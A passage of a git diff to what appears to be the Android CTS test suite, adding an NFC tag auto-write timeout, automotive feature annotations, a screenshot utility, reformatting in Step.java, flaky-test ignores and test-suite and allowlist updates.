@@ -78,10 +78,13 @@
private static final Map<String, PolicyTestItem> POLICY_TEST_ITEMS = new ArrayMap<>();
/**
- * List of restrictions that might not have an optional for user to change on Settings.
+ * List of restrictions that might not have an option for user to change on Settings.
*/
private static final List<String> OPTIONAL_USER_RESTRICTION_ACTIONS = Arrays
- .asList(UserManager.DISALLOW_CONFIG_CELL_BROADCASTS);
+ .asList(
+ UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
+ UserManager.DISALLOW_NETWORK_RESET,
+ UserManager.DISALLOW_CONFIG_TETHERING);
static {
POLICY_TEST_ITEMS.put(TEST_CHECK_AUTO_TIME_REQUIRED, new PolicyTestItem(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
index faee902..07b7821 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
@@ -42,6 +42,9 @@
import android.widget.TextView;
import android.widget.Toast;
+import android.os.Handler;
+import android.os.HandlerThread;
+
/**
* Test activity for reading and writing NFC tags using different technologies.
* First, it asks the user to write some random data to the tag. Then it asks
@@ -82,6 +85,11 @@
private ArrayAdapter<String> mTechListAdapter;
private TextView mEmptyText;
+ private HandlerThread mHandlerThread;
+ private Handler mHandler;
+ // Auto write to this tag(DISCOVERED_DIALOG will be dismissed) when the waiting time out
+ private static final int WAIT_TIME_AUTO_WRITE_TAG = 3 * 1000;
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -90,6 +98,10 @@
setPassFailButtonClickListeners();
getPassButton().setEnabled(false);
+ mHandlerThread = new HandlerThread("waitTimeAutoWriteTag");
+ mHandlerThread.start();
+ mHandler = new Handler(mHandlerThread.getLooper());
+
parseIntentExtras();
if (mTechClass != null) {
mTagTester = getTagTester(mTechClass);
@@ -307,6 +319,23 @@
}
}
+ @Override
+ protected void onPrepareDialog(int id, Dialog dialog) {
+ super.onPrepareDialog(id, dialog);
+ if (id == TESTABLE_TAG_DISCOVERED_DIALOG_ID) {
+ mHandler.removeCallbacks(waitTimeAutoWriteTagRunnable);
+ mHandler.postDelayed(waitTimeAutoWriteTagRunnable, WAIT_TIME_AUTO_WRITE_TAG);
+ }
+ }
+
+ private final Runnable waitTimeAutoWriteTagRunnable = new Runnable() {
+ @Override
+ public void run() {
+ brutallyDismissDialog(TESTABLE_TAG_DISCOVERED_DIALOG_ID);
+ runOnUiThread(() -> new WriteTagTask().execute(mTag));
+ }
+ };
+
private AlertDialog createTestableTagDiscoveredDialog() {
return new AlertDialog.Builder(this)
.setIcon(android.R.drawable.ic_dialog_info)
@@ -315,12 +344,14 @@
.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
+ mHandler.removeCallbacks(waitTimeAutoWriteTagRunnable);
new WriteTagTask().execute(mTag);
}
})
.setOnCancelListener(new DialogInterface.OnCancelListener() {
@Override
public void onCancel(DialogInterface dialog) {
+ mHandler.removeCallbacks(waitTimeAutoWriteTagRunnable);
goToWriteStep();
}
})
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java
index a813454..214e79d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java
@@ -6,6 +6,7 @@
import android.app.Activity;
import android.content.Intent;
import android.graphics.Insets;
+import android.graphics.Rect;
import android.os.Bundle;
import android.view.View;
import android.view.ViewTreeObserver;
@@ -95,8 +96,9 @@
WindowMetrics bubbleWindowMetrics =
getSystemService(WindowManager.class).getCurrentWindowMetrics();
if (mIsLargeScreen) {
- final float percentOfScreen = windowMetricsMax.getBounds().height() * 0.70f;
- if (bubbleWindowMetrics.getBounds().height() < percentOfScreen) {
+ Rect bounds = windowMetricsMax.getBounds();
+ final float percentOfScreen = Math.min(bounds.height(), bounds.width()) * 0.70f;
+ if (bubbleWindowMetrics.getBounds().height() <= percentOfScreen) {
mTestMessage.setText("Test failed --"
+ " the bubble expanded view is too small, it is: "
+ bubbleWindowMetrics.getBounds().height()
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
index a0f5bd0..d3e9b1f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
@@ -66,7 +66,7 @@
/** Alias for our key in the Android Key Store. */
private static final String KEY_NAME = "my_key";
private static final byte[] SECRET_BYTE_ARRAY = new byte[] {1, 2, 3, 4, 5, 6};
- private static final int AUTHENTICATION_DURATION_SECONDS = 2;
+ private static final int AUTHENTICATION_DURATION_SECONDS = 4;
private static final int CONFIRM_CREDENTIALS_REQUEST_CODE = 1;
private static final int BIOMETRIC_REQUEST_PERMISSION_CODE = 0;
@@ -344,7 +344,7 @@
if (mActivity.tryEncrypt() &&
mActivity.doValidityDurationTest(false)) {
try {
- Thread.sleep(3000);
+ Thread.sleep((AUTHENTICATION_DURATION_SECONDS+1)*1000);
} catch (Exception e) {
throw new RuntimeException("Failed to sleep", e);
}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireAutomotive.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireAutomotive.java
new file mode 100644
index 0000000..6bc6e4c
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireAutomotive.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.FIRST;
+import static com.android.bedstead.nene.packages.CommonPackages.FEATURE_AUTOMOTIVE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// TODO(b/314835345): move this out to a separate target.
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RequireFeature(FEATURE_AUTOMOTIVE)
+public @interface RequireAutomotive {
+
+ String reason();
+
+ /**
+ * Weight sets the order that annotations will be resolved.
+ *
+ * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+ *
+ * <p>If there is an order requirement between annotations, ensure that the weight of the
+ * annotation which must be resolved first is lower than the one which must be resolved later.
+ *
+ * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+ */
+ int weight() default FIRST;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireNotAutomotive.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireNotAutomotive.java
new file mode 100644
index 0000000..73e4590
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireNotAutomotive.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.FIRST;
+import static com.android.bedstead.nene.packages.CommonPackages.FEATURE_AUTOMOTIVE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+// TODO(b/314835345): move this out to a separate target.
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+public @interface RequireNotAutomotive {
+
+ String reason();
+
+ /**
+ * Weight sets the order that annotations will be resolved.
+ *
+ * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+ *
+ * <p>If there is an order requirement between annotations, ensure that the weight of the
+ * annotation which must be resolved first is lower than the one which must be resolved later.
+ *
+ * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+ */
+ int weight() default FIRST;
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
index 1217a4f..12f4fe0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -39,6 +39,7 @@
import android.annotation.TargetApi;
import android.app.ActivityManager;
+import android.app.UiAutomation;
import android.app.role.RoleManager;
import android.content.Intent;
import android.content.IntentFilter;
@@ -52,6 +53,7 @@
import android.util.Log;
import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.annotations.Experimental;
@@ -92,6 +94,9 @@
private static final RoleManager sRoleManager = TestApis.context().instrumentedContext()
.getSystemService(RoleManager.class);
+ private static final UiAutomation sUiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+
private final String mPackageName;
/**
@@ -399,24 +404,14 @@
throw new NeneException("Cannot deny permission from current package");
}
- try {
- ShellCommand.builderForUser(user, "pm revoke")
- .addOperand(packageName())
- .addOperand(permission)
- .allowEmptyOutput(true)
- .validate(String::isEmpty)
- .execute();
+ sUiAutomation.revokeRuntimePermission(packageName(), permission);
- assertWithMessage("Error denying permission " + permission
- + " to package " + this + " on user " + user
- + ". Command appeared successful but not revoked.")
- .that(hasPermission(user, permission)).isFalse();
+ assertWithMessage("Error denying permission " + permission
+ + " to package " + this + " on user " + user
+ + ". Command appeared successful but not revoked.")
+ .that(hasPermission(user, permission)).isFalse();
- return this;
- } catch (AdbException e) {
- throw new NeneException("Error denying permission " + permission + " to package "
- + this + " on user " + user, e);
- }
+ return this;
}
void checkCanGrantOrRevokePermission(UserReference user, String permission) {
diff --git a/common/device-side/interactive/src/main/java/com/android/interactive/ScreenshotUtil.java b/common/device-side/interactive/src/main/java/com/android/interactive/ScreenshotUtil.java
new file mode 100644
index 0000000..f53f6a6
--- /dev/null
+++ b/common/device-side/interactive/src/main/java/com/android/interactive/ScreenshotUtil.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.interactive;
+
+import android.os.Environment;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.uiautomator.UiDevice;
+
+import java.io.File;
+
+/**
+ * Utility class for taking screenshots during xTS-Interactive tests.
+ *
+ * <p>It saves screenshots as files to the /Documents/xts/screenshots/ directory on the external
+ * storage.
+ */
+public final class ScreenshotUtil {
+
+ /**
+ * Captures a screenshot and saves it as a file.
+ *
+ * <p>The screenshot file is named using the provided screenshot name, appended with the current
+ * system time.
+ *
+ * @param screenshotName the screenshot name
+ * @throws IOException if fails to create and save the screenshot file
+ */
+ public static void captureScreenshot(String screenshotName) {
+ String screenshotDir =
+ Environment.getExternalStorageDirectory().getAbsolutePath()
+ + "/Documents/xts/screenshots/";
+ File file = new File(screenshotDir);
+ if (!file.exists()) {
+ file.mkdirs();
+ }
+
+ File screenshotFile =
+ new File(screenshotDir, screenshotName + "_" + System.currentTimeMillis() + ".png");
+ UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
+ .takeScreenshot(screenshotFile);
+ }
+}
diff --git a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
index faf347d..bc8bf6e 100644
--- a/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
+++ b/common/device-side/interactive/src/main/java/com/android/interactive/Step.java
@@ -55,12 +55,13 @@
*/
public abstract class Step<E> {
- private static final TestLifecycleListener sLifecycleListener = new TestLifecycleListener() {
- @Override
- public void testFinished(String testName) {
- sForceManual.set(false);
- }
- };
+ private static final TestLifecycleListener sLifecycleListener =
+ new TestLifecycleListener() {
+ @Override
+ public void testFinished(String testName) {
+ sForceManual.set(false);
+ }
+ };
private static final String LOG_TAG = "Interactive.Step";
@@ -71,11 +72,13 @@
// We timeout 10 seconds before the infra would timeout
private static final Duration MAX_STEP_DURATION =
Duration.ofMillis(
- Long.parseLong(TestApis.instrumentation().arguments().getString(
- "timeout_msec", "600000")) - 10000);
+ Long.parseLong(
+ TestApis.instrumentation()
+ .arguments()
+ .getString("timeout_msec", "600000"))
+ - 10000);
- private static final Automator sAutomator =
- new Automator(AUTOMATION_FILE);
+ private static final Automator sAutomator = new Automator(AUTOMATION_FILE);
private View mInstructionView;
@@ -90,8 +93,8 @@
/**
* Executes a step.
*
- * <p>This will first try to execute the step automatically, falling back to manual
- * interaction if that fails.
+ * <p>This will first try to execute the step automatically, falling back to manual interaction
+ * if that fails.
*/
public static <E> E execute(Class<? extends Step<E>> stepClass) throws Exception {
Step<E> step;
@@ -107,10 +110,10 @@
}
if (!sForceManual.get()
- && TestApis.instrumentation().arguments().getBoolean(
- "ENABLE_AUTOMATION", true)) {
+ && TestApis.instrumentation().arguments().getBoolean("ENABLE_AUTOMATION", true)) {
if (sAutomator.canAutomate(step)) {
- AutomatingStep automatingStep = new AutomatingStep("Automating " + stepClass.getCanonicalName());
+ AutomatingStep automatingStep =
+ new AutomatingStep("Automating " + stepClass.getCanonicalName());
try {
automatingStep.interact();
@@ -119,7 +122,8 @@
// If it reaches this point then it has passed
Log.i(LOG_TAG, "Succeeded with automatic resolution of " + step);
- boolean stepIsCacheable = stepClass.getAnnotationsByType(CacheableStep.class).length > 0;
+ boolean stepIsCacheable =
+ stepClass.getAnnotationsByType(CacheableStep.class).length > 0;
if (stepIsCacheable) {
sStepCache.put(stepClass, returnValue);
}
@@ -127,24 +131,28 @@
} catch (Exception t) {
Log.e(LOG_TAG, "Error attempting automation of " + step, t);
- if (TestApis.instrumentation().arguments().getBoolean(
- "ENABLE_MANUAL", false)) {
+ if (TestApis.instrumentation().arguments().getBoolean("ENABLE_MANUAL", false)) {
AutomatingFailedStep automatingFailedStep =
- new AutomatingFailedStep("Automation "
- + stepClass.getCanonicalName()
- + " Failed due to " + t.toString());
+ new AutomatingFailedStep(
+ "Automation "
+ + stepClass.getCanonicalName()
+ + " Failed due to "
+ + t.toString());
automatingFailedStep.interact();
- Integer value = Poll.forValue("value", automatingFailedStep::getValue)
- .toMeet(Optional::isPresent)
- .terminalValue((b) -> step.hasFailed())
- .errorOnFail("Expected value from step. No value provided or step failed.")
- .timeout(MAX_STEP_DURATION)
- .await()
- .get();
+ Integer value =
+ Poll.forValue("value", automatingFailedStep::getValue)
+ .toMeet(Optional::isPresent)
+ .terminalValue((b) -> step.hasFailed())
+ .errorOnFail(
+ "Expected value from step. No value provided or"
+ + " step failed.")
+ .timeout(MAX_STEP_DURATION)
+ .await()
+ .get();
if (value == AutomatingFailedStep.FAIL) {
- throw(t);
+ throw (t);
} else if (value == AutomatingFailedStep.CONTINUE_MANUALLY) {
// Do nothing - we will fall through to the manual resolution
} else if (value == AutomatingFailedStep.RETRY) {
@@ -158,7 +166,7 @@
"Restarting manually after automatic failure");
}
} else {
- throw(t);
+ throw (t);
}
} finally {
automatingStep.close();
@@ -168,17 +176,17 @@
}
}
- if (TestApis.instrumentation().arguments().getBoolean(
- "ENABLE_MANUAL", false)) {
+ if (TestApis.instrumentation().arguments().getBoolean("ENABLE_MANUAL", false)) {
step.interact();
// Wait until we've reached a valid ending point
try {
- Optional<E> valueOptional = Poll.forValue("value", step::getValue)
- .toMeet(Optional::isPresent)
- .terminalValue((b) -> step.hasFailed())
- .timeout(MAX_STEP_DURATION)
- .await();
+ Optional<E> valueOptional =
+ Poll.forValue("value", step::getValue)
+ .toMeet(Optional::isPresent)
+ .terminalValue((b) -> step.hasFailed())
+ .timeout(MAX_STEP_DURATION)
+ .await();
if (step.hasFailed()) {
throw new StepFailedException(stepClass);
@@ -190,14 +198,16 @@
E value = valueOptional.get();
// After the test has been marked passed, we validate ourselves
- E returnValue = Poll.forValue("validated", () -> step.validate(value))
- .toMeet(Optional::isPresent)
- .errorOnFail("Step did not pass validation.")
- .timeout(MAX_STEP_DURATION)
- .await()
- .get();
+ E returnValue =
+ Poll.forValue("validated", () -> step.validate(value))
+ .toMeet(Optional::isPresent)
+ .errorOnFail("Step did not pass validation.")
+ .timeout(MAX_STEP_DURATION)
+ .await()
+ .get();
- boolean stepIsCacheable = stepClass.getAnnotationsByType(CacheableStep.class).length > 0;
+ boolean stepIsCacheable =
+ stepClass.getAnnotationsByType(CacheableStep.class).length > 0;
if (stepIsCacheable) {
sStepCache.put(stepClass, returnValue);
}
@@ -214,11 +224,10 @@
try {
pass((E) Nothing.NOTHING);
} catch (ClassCastException e) {
- throw new IllegalStateException("You cannot call pass() for a step which requires a"
- + " return value. If no return value is required, the step should use Nothing"
- + " (not Void)");
+ throw new IllegalStateException(
+ "You cannot call pass() for a step which requires a return value. If no return"
+ + " value is required, the step should use Nothing (not Void)");
}
-
}
protected final void pass(E value) {
@@ -231,23 +240,17 @@
close();
}
- /**
- * Returns present if the manual step has concluded successfully.
- */
+ /** Returns present if the manual step has concluded successfully. */
public Optional<E> getValue() {
return mValue;
}
- /**
- * Returns true if the manual step has failed.
- */
+ /** Returns true if the manual step has failed. */
public boolean hasFailed() {
return mFailed;
}
- /**
- * Adds a button to the interaction prompt.
- */
+ /** Adds a button to the interaction prompt. */
protected void addButton(String title, Runnable onClick) {
// Push to UI thread to avoid animation issues when adding the button
new Handler(Looper.getMainLooper()).post(() -> {
@@ -261,8 +264,8 @@
}
/**
- * Adds small button with a single up/down arrow, used for moving the text box to the
- * bottom of the screen in case it covers some critical area of the app
+ * Adds small button with a single up/down arrow, used for moving the text box to the bottom of
+ * the screen in case it covers some critical area of the app
*/
protected void addSwapButton() {
// Push to UI thread to avoid animation issues when adding the button
@@ -291,38 +294,48 @@
* <p>This should be called before any other methods on this class.
*/
protected void show(String instruction) {
- mInstructionView = LayoutInflater.from(TestApis.context().instrumentationContext())
- .inflate(R.layout.instruction, null);
+ mInstructionView =
+ LayoutInflater.from(TestApis.context().instrumentationContext())
+ .inflate(R.layout.instruction, null);
TextView text = mInstructionView.findViewById(R.id.text);
text.setText(instruction);
- WindowManager.LayoutParams params = new WindowManager.LayoutParams(
- WindowManager.LayoutParams.MATCH_PARENT,
- WindowManager.LayoutParams.WRAP_CONTENT,
- WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
- WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
- PixelFormat.TRANSLUCENT);
+ WindowManager.LayoutParams params =
+ new WindowManager.LayoutParams(
+ WindowManager.LayoutParams.MATCH_PARENT,
+ WindowManager.LayoutParams.WRAP_CONTENT,
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+ WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
+ PixelFormat.TRANSLUCENT);
params.gravity = Gravity.TOP; // TMP
params.x = 0;
params.y = 0;
- TestApis.context().instrumentationContext().getMainExecutor().execute(() -> {
- try (PermissionContext p = TestApis.permissions().withPermission(
- SYSTEM_ALERT_WINDOW, SYSTEM_APPLICATION_OVERLAY, INTERNAL_SYSTEM_WINDOW)) {
- params.setSystemApplicationOverlay(true);
- params.privateFlags = WindowManager.LayoutParams.SYSTEM_FLAG_SHOW_FOR_ALL_USERS;
- sWindowManager.addView(mInstructionView, params);
- }
- });
+ TestApis.context()
+ .instrumentationContext()
+ .getMainExecutor()
+ .execute(
+ () -> {
+ try (PermissionContext p =
+ TestApis.permissions()
+ .withPermission(
+ SYSTEM_ALERT_WINDOW,
+ SYSTEM_APPLICATION_OVERLAY,
+ INTERNAL_SYSTEM_WINDOW)) {
+ params.setSystemApplicationOverlay(true);
+ params.privateFlags =
+ WindowManager.LayoutParams.SYSTEM_FLAG_SHOW_FOR_ALL_USERS;
+ sWindowManager.addView(mInstructionView, params);
+ }
+ });
}
- /**
- * Swaps the prompt from the top to the bottom of the user screen
- */
+ /** Swaps the prompt from the top to the bottom of the user screen */
protected void swap() {
- WindowManager.LayoutParams params = (WindowManager.LayoutParams) mInstructionView.getLayoutParams();
+ WindowManager.LayoutParams params =
+ (WindowManager.LayoutParams) mInstructionView.getLayoutParams();
if (params.gravity == Gravity.TOP) {
params.gravity = Gravity.BOTTOM;
} else {
@@ -332,22 +345,27 @@
}
protected void close() {
+ if (TestApis.instrumentation().arguments().getBoolean("TAKE_SCREENSHOT", false)) {
+ ScreenshotUtil.captureScreenshot(getClass().getCanonicalName());
+ }
if (mInstructionView != null) {
- TestApis.context().instrumentationContext().getMainExecutor().execute(() -> {
- try {
- sWindowManager.removeViewImmediate(mInstructionView);
- mInstructionView = null;
- } catch (IllegalArgumentException e) {
- // This can happen if the view is no longer attached
- Log.i(LOG_TAG, "Error removing instruction view", e);
- }
- });
+ TestApis.context()
+ .instrumentationContext()
+ .getMainExecutor()
+ .execute(
+ () -> {
+ try {
+ sWindowManager.removeViewImmediate(mInstructionView);
+ mInstructionView = null;
+ } catch (IllegalArgumentException e) {
+ // This can happen if the view is no longer attached
+ Log.i(LOG_TAG, "Error removing instruction view", e);
+ }
+ });
}
}
- /**
- * Executes the manual step.
- */
+ /** Executes the manual step. */
public abstract void interact();
/**
diff --git a/common/device-side/interactive/src/main/res/layout/instruction.xml b/common/device-side/interactive/src/main/res/layout/instruction.xml
index e286ad6..cb9d3bf 100644
--- a/common/device-side/interactive/src/main/res/layout/instruction.xml
+++ b/common/device-side/interactive/src/main/res/layout/instruction.xml
@@ -31,7 +31,7 @@
android:paddingBottom="10dp"
android:text=""
android:textAlignment="center"
- android:textColor="#000000" />
+ android:textColor="?android:textColorPrimary" />
<GridLayout
android:id="@+id/buttons"
android:layout_width="match_parent"
diff --git a/hostsidetests/accounts/src/android/host/accounts/AccountManagerHostSideTest.java b/hostsidetests/accounts/src/android/host/accounts/AccountManagerHostSideTest.java
index 67335a8..b33a472 100644
--- a/hostsidetests/accounts/src/android/host/accounts/AccountManagerHostSideTest.java
+++ b/hostsidetests/accounts/src/android/host/accounts/AccountManagerHostSideTest.java
@@ -39,6 +39,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -112,6 +113,7 @@
}
@Test
+ @Ignore("Flaky test - b/303573931")
public void tesAddAccount_logsMetrics() throws Exception {
assertMetricsLogged(getDevice(), () -> {
runDeviceTests(
@@ -152,6 +154,7 @@
}
@Test
+ @Ignore("Flaky test - b/303573931")
public void tesAddAccountExplicitly_logsMetrics() throws Exception {
final String[] expectedVisibilityStr = new String[]{"0:", "1:", "2:", "3:", "4:"};
assertMetricsLogged(getDevice(), () -> {
@@ -172,6 +175,7 @@
}
@Test
+ @Ignore("Flaky test - b/303573931")
public void tesGetAuthToken_logsMetrics() throws Exception {
assertMetricsLogged(getDevice(), () -> {
runDeviceTests(
diff --git a/hostsidetests/appcloning/Android.bp b/hostsidetests/appcloning/Android.bp
index 0409c90..b4e5d60 100644
--- a/hostsidetests/appcloning/Android.bp
+++ b/hostsidetests/appcloning/Android.bp
@@ -36,6 +36,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
test_config: "AndroidTestAppCloning.xml",
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index d31f7d8..e94ce66 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -41,6 +41,7 @@
private static final long RESTRICT_STORAGE_ACCESS_FRAMEWORK = 141600225L;
private static final long SPLIT_AS_STREAM_RETURNS_SINGLE_EMPTY_STRING = 288845345L;
private static final long PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT = 289878283L;
+ private static final long ASM_RESTRICTIONS = 230590090L;
private static final String FEATURE_WATCH = "android.hardware.type.watch";
private static final Set<String> OVERRIDES_ALLOWLIST = ImmutableSet.of(
@@ -96,6 +97,7 @@
"OVERRIDE_UNDEFINED_ORIENTATION_TO_NOSENSOR",
"OVERRIDE_LANDSCAPE_ORIENTATION_TO_REVERSE_LANDSCAPE",
"OVERRIDE_ANY_ORIENTATION",
+ "OVERRIDE_ANY_ORIENTATION_TO_USER",
"OVERRIDE_USE_DISPLAY_LANDSCAPE_NATURAL_ORIENTATION",
"OVERRIDE_ENABLE_COMPAT_IGNORE_REQUESTED_ORIENTATION",
"OVERRIDE_ORIENTATION_ONLY_FOR_CAMERA",
@@ -108,7 +110,9 @@
"OVERRIDE_SANDBOX_VIEW_BOUNDS_APIS",
"DEFAULT_RESCIND_BAL_FG_PRIVILEGES_BOUND_SERVICE",
"DEFAULT_RESCIND_BAL_PRIVILEGES_FROM_PENDING_INTENT_SENDER",
- "RETURN_DEVICE_VOLUME_BEHAVIOR_ABSOLUTE_ADJUST_ONLY"
+ "RETURN_DEVICE_VOLUME_BEHAVIOR_ABSOLUTE_ADJUST_ONLY",
+ "OVERRIDE_ENABLE_EXPECTED_PRSENTATION_TIME",
+ "ENFORCE_INTENTS_TO_MATCH_INTENT_FILTERS"
);
/**
@@ -178,7 +182,8 @@
// Exclude PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT
// This feature is enabled only from U for apps targeting SDK 34+, see b/297482242
changes.removeIf(c -> c.changeId == PRIORITY_QUEUE_OFFER_NON_COMPARABLE_ONE_ELEMENT);
-
+ // This feature is enabled only from V for apps targeting SDK 35+, see b/307477133
+ changes.removeIf(c -> c.changeId == ASM_RESTRICTIONS);
return changes;
}
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index 2656bbc..f6cffe5 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -35,6 +35,7 @@
"cts",
"general-tests",
"mts-mainline-infra",
+ "mcts-mainline-infra",
],
data: [
":SharedLibraryInfoTestApp",
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index 0f89d33..364dca5 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -246,7 +246,8 @@
"Landroid/app/sdksandbox/ISdkSandboxProcessDeathCallback;",
"Landroid/app/sdksandbox/ISendDataCallback;",
"Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;",
- "Landroid/app/sdksandbox/ISdkToServiceCallback;"
+ "Landroid/app/sdksandbox/ISdkToServiceCallback;",
+ "Landroid/app/sdksandbox/IUnloadSdkCallback;"
);
private static final String FEATURE_WEARABLE = "android.hardware.type.watch";
@@ -655,7 +656,6 @@
"Lcom/android/sdksandbox/ISdkSandboxService;",
"Lcom/android/sdksandbox/SandboxLatencyInfo-IA;",
"Lcom/android/sdksandbox/SandboxLatencyInfo;",
- "Lcom/android/sdksandbox/IUnloadSdkCallback;",
"Lcom/android/sdksandbox/IComputeSdkStorageCallback;"
);
diff --git a/hostsidetests/appsearch/Android.bp b/hostsidetests/appsearch/Android.bp
index 6216298..e1fa338 100644
--- a/hostsidetests/appsearch/Android.bp
+++ b/hostsidetests/appsearch/Android.bp
@@ -35,6 +35,7 @@
"cts",
"general-tests",
"mts-appsearch",
+ "mcts-appsearch",
],
data: [
":CtsAppSearchHostTestHelperA",
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
